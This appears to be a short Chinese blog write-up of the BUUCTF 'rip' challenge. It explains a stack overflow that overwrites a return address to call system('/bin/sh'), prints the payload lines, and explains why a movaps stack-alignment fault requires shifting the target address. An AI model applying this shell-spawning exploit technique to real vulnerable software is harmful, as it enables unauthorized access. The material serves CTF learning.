buu rip
簡單的棧溢出,修改返回地址使得修改程序控制流,執行system("/bin/sh"),即shell程序
寫出第一版poc?poc = 'A'*15 + 'B'*8 + p64(0x401186) 執行 失敗
被斷在0x7ffff7a332f6 <do_system+1094>:?? ?movaps XMMWORD PTR [rsp+0x40],xmm0
查了一下intel手冊
大致為如果存在內存空間和寄存器之間傳輸時,128bit(64位)必須要進行對齊,看不明白,實驗一下
輸入為poc = 'A'*15 + 'B'*8 + p64(0x401186)時 執行失敗
輸入為poc = 'A'*15 + 'B'*8 + p64(0x401187)時 執行成功
大致判斷為 movaps指令如果有對內存操作,無論是寫還是讀,內存位置必須是0x10的整數倍
所以該題的poc需要下移1到4bit 即
poc = 'A'*15 + 'B'*8 + p64(0x401186 + 0x1 )?
?poc = 'A'*15 + 'B'*8 + p64(0x401186 + 0x4)
?
比較奇特的一點 0x2也是可以的? 因為89 E5組成了新的有效指令,并且未影響下方指令
總結: 遇到某些指令會對棧對齊進行檢測,此時需要進行輕度修改
總結
- 上一篇: MT from winter to sp
- 下一篇: Math的用法